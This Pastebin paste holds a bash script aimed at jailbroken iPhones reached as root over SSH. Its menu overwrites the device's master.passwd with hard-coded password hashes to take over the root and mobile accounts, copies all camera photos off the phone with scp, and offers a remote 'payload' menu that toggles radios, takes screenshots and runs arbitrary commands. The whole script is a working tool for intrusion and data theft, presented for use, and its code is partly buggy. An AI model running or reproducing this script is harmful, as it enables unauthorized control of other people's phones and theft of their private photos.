Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- # Regular Colors
- Colour_Off='\033[0m'
- Black='\033[0;30m' # Black
- Red='\033[0;31m' # Red
- Green='\033[0;32m' # Green
- Yellow='\033[0;33m' # Yellow
- Blue='\033[0;34m' # Blue
- Purple='\033[0;35m' # Purple
- Cyan='\033[0;36m' # Cyan
- White='\033[0;37m'
- function reset {
- read -p 'Ip: ' IP
- read -p 'Port: ' PORT
- read -p 'Pass: ' PASS
- ssh -p $PORT root@$IP '
- cd /etc/
- sleep 2
- echo '
- ##
- # User Database
- #
- # This file is the authoritative user database.
- ##
- nobody:*:-2:-2::0:0:Unprivileged User:/var/empty:/usr/bin/false
- root:MVm5JiEZh7dOI:0:0::0:0:System Administrator:/var/root:/bin/sh
- mobile:/smx7MYTQIi2M:501:501::0:0:Mobile User:/var/mobile:/bin/sh
- daemon:*:1:1::0:0:System Services:/var/root:/usr/bin/false
- _ftp:*:98:-2::0:0:FTP Daemon:/var/empty:/usr/bin/false
- _networkd:*:24:24::0:0:Network Services:/var/networkd:/usr/bin/false
- _wireless:*:25:25::0:0:Wireless Services:/var/wireless:/usr/bin/false
- _neagent:*:34:34::0:0:NEAgent:/var/empty:/usr/bin/false
- _securityd:*:64:64::0:0:securityd:/var/empty:/usr/bin/false
- _mdnsresponder:*:65:65::0:0:mDNSResponder:/var/empty:/usr/bin/false
- _sshd:*:75:75::0:0:sshd Privilege separation:/var/empty:/usr/bin/false
- _unknown:*:99:99::0:0:Unknown User:/var/empty:/usr/bin/false
- _distnote:*:241:241::0:0:Distributed Notifications:/var/empty:/usr/bin/false
- _astris:*:245:245::0:0:Astris Services:/var/db/astris:/usr/bin/false
- _ondemand:*:249:249::0:0:On Demand Resource Daemon:/var/db/ondemand:/usr/bin/false
- ' >master.passwd
- '
- }
- function downloads {
- echo "Download Photos? yes/no?"
- read -p 'Download Photos?: ' photod
- if [ "$photod" == "yes" ]
- then
- cd /var/mobile/
- read -p 'Name:' name
- mkdir /var/mobile/userdownloads/$name
- read -p 'Ip: ' IP
- read -p 'Port: ' PORT
- read -p 'Pass: ' PASS
- scp root@$IP:/var/mobile/Media/DCIM/100APPLE/*.JPG /var/mobile/userdownloads/$name
- scp root@$IP:/var/mobile/Media/DCIM/101APPLE/*.JPG /var/mobile/userdownloads/$name
- scp root@$IP:/var/mobile/Media/DCIM/102APPLE/*.JPG /var/mobile/userdownloads/$name
- scp root@$IP:/var/mobile/Media/DCIM/103APPLE/*.JPG /var/mobile/userdownloads/$name
- else
- echo "Error"
- fi
- }
- function login
- {
- read -p 'Ip: ' IP
- read -p 'Port: ' PORT
- read -p 'Pass: ' PASS
- ssh -p $PORT root@$IP
- }
- function payload {
- read -p 'Ip: ' IP
- read -p 'Port: ' PORT
- read -p 'Pass: ' PASS
- ssh $PASS -p $PORT root@$IP '
- echo -e "$Green List Of commands"
- echo "Type Chosen Number"
- echo "Wif ... Toggles Wifi"
- echo "Blu ... Toggles BlueTooth"
- echo "Vib ... Vibrates"
- echo "Pow ... Shuts-down Screen"
- echo "Ala ... Starts Alarm"
- echo "App ... Opens Selected App"
- echo "Vol ... Increase/Decreases Volume"
- echo "Pla ... Plays Selected Ringtone"
- echo "Scr ... Takes A Screen Shot"
- echo "Hom ... HomeButton Press"
- echo "Reb ... Reboots Device"
- echo "Bri ... Changes Brightness"
- echo "Dnd ... Do Not Disturb"
- echo "Cam ... Takes Picture"
- echo "Dow ... DownLoads File"
- echo "Com ... Send Command"
- function WifOn {
- activator send switch-on.com.a3tweaks.switch.airplane-more
- choice
- }
- function WifOff {
- activator send switch-off.com.a3tweaks.switch.airplane-more
- choice
- }
- function Blu {
- activator send switch-on.com.a3tweaks.switch.bluetooth
- choice
- }
- function BluOff {
- activator send switch-off.com.a3tweaks.switch.bluetooth
- choice
- }
- function Vib {
- activator send libactivator.setting.vibrate
- choice
- }
- function Pow {
- activator send libactivator.lockscreen.toggle
- choice
- }
- function Ala {
- activator send libactivator.ringtone.system:Duck
- choice
- }
- function App {
- activator send libactivator.settings.safari
- choice
- }
- function Scr {
- activator send libactivator.system.take-screenshot
- choice
- }
- function Com {
- echo "Enter Command"
- read -p 'Command: ' com
- ssh -p 22 root@$IP ' $com '
- choice
- }
- function Bri {
- activator send libactivator.screen.brightness.increase
- choice
- }
- function BriD {
- activator send libactivator.screen.brightness.decrease
- choice
- }
- function Hom {
- activator send libactivator.system.homebutton
- choice
- }
- function Vol {
- activator send libactivator.audio.increase-volume
- choice
- }
- function VolD {
- activator send libactivator.audio.decrease-volume
- choice()
- }
- read -p 'Choice: ' choice
- $choice
- '
- }
- function choice {
- echo "login. Start Connection"
- echo "payload. Run Commands"
- echo "downloads. Download Files"
- echo "reset. Reset Password"
- read -p 'Choice: ' choice
- $choice
- }
- #if [ "$choice" == "a" ]
- echo "login. Start Connection"
- echo "payload. Run Commands"
- echo "downloads. Download Files"
- echo "reset. Reset Password"
- read -p 'Choice: ' choice
- $choice
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement